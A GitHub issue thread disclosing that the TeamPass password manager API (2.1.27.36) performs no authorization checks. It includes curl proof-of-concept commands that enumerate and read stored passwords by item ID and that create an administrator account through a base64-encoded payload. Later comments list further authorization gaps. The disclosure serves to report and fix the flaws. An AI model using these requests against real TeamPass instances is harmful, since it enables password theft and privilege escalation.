New issue

Jump to bottom

TeamPass API has no authorization checks #2765

Closed **bstapes** opened this issue on Apr 2, 2020 · 3 comments

bstapes commented on Apr 2, 2020

TeamPass provides several APIs that can be used for programmatic access. None of these API functions perform authorization checks which means that any client with a valid API token is effectively an administrator. Any client with a valid API token can:

- Read all passwords stored by Teampass
- Create users. This includes non-administrative users creating administrative users
- Update any stored item
- Update any user
- Delete any folder or item

It's important to note that API access is disabled by default.

Steps to reproduce

1. Turn on API access
2. As a non-admin user, generate an API key
3. Send authenticated HTTP requests

Retrieve passwords:

```
curl http://<your Teampass instance>/teampass/api/index.php/read/items/1?apikey=<your key>
```

Note that the ID for each "item" starts at 1 and increments by 1 for each new item. This makes it easy to retrieve all items stored by Teampass

```
for i in {1..5}; do
  curl http://localhost/teampass/api/index.php/read/items/$i?apikey=xyz
  echo "";
done
```

Add a new admin user

```
# <LOGIN>;<NAME>;<LASTNAME>;<PASSWORD>;<EMAIL>;<ADMINISTRATEDBY>;<READ_ONLY>;<ROLE1,ROLE2,...>;<IS_ADMIN>;<ISMANAGER>;<PERSONAL_FOLDER>
payload="newadmin;foo;bar;testpassword;a@a.com;Administrator;0;;1;;"
b64=$(echo $payload | base64)
curl http://localhost/teampass/api/index.php/add/user/$b64?apikey=xyz
```

Server configuration

Teampass version:
2.1.27.36

sata-sa commented on May 13, 2020 • edited

Hey **@bstapes** , when running the retrieval of password in the "cycle for" i get "{"err":"No results"}" 5x.
From my understanding this means i'm unable to retrieve the items and exploit the payload, right?

bstapes commented on May 13, 2020 Author

@sata-sa I suspect your instance of TeamPass is not actually storing any secrets. If you look at the `curl` command, you'll see that retrieves an individual secret or "item." These items are identified by a number and the counting starts at 1.

If there is no item with that number, you will get `{"err":"No results"}` .

Try this:

- As non-admin user Alice, create a new item and fill in all the details.
- As non-admin user Bob, generate an API key and verify you can retrieve Alice's item

eduardomozart mentioned this issue on Dec 10, 2021

Admin API Key has access to passwords #2988

Closed

eduardomozart commented on Dec 10, 2021

Just complementing this issue, I could find other potential security issues related to user API keys:

- The "admin" user API key allows to query items through TeamPass API, but it should have access to TeamPass config only. The TeamPass API should check if a user has the "Administrator" type set and do not allow it to query folders/items through TeamPass API using it's user API key.
- Disabled users still has access to TeamPass API through their user API key. The TeamPass API should check if the user account is disabled before allowing access to TeamPass API.
- The TeamPass API do not check the user "Roles" and "Prohibited folders" (configured into the user account), so a user can read password items that he/she doesn't have access through the TeamPass API using their user API key. The TeamPass API should check the "Roles" and "Prohibited folders" set into the user account properties and deny the request if the user do not have access to the folder/item when querying the TeamPass API using their user API key.

 **nilsteampassnet** closed this as completed on Oct 31

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

4 participants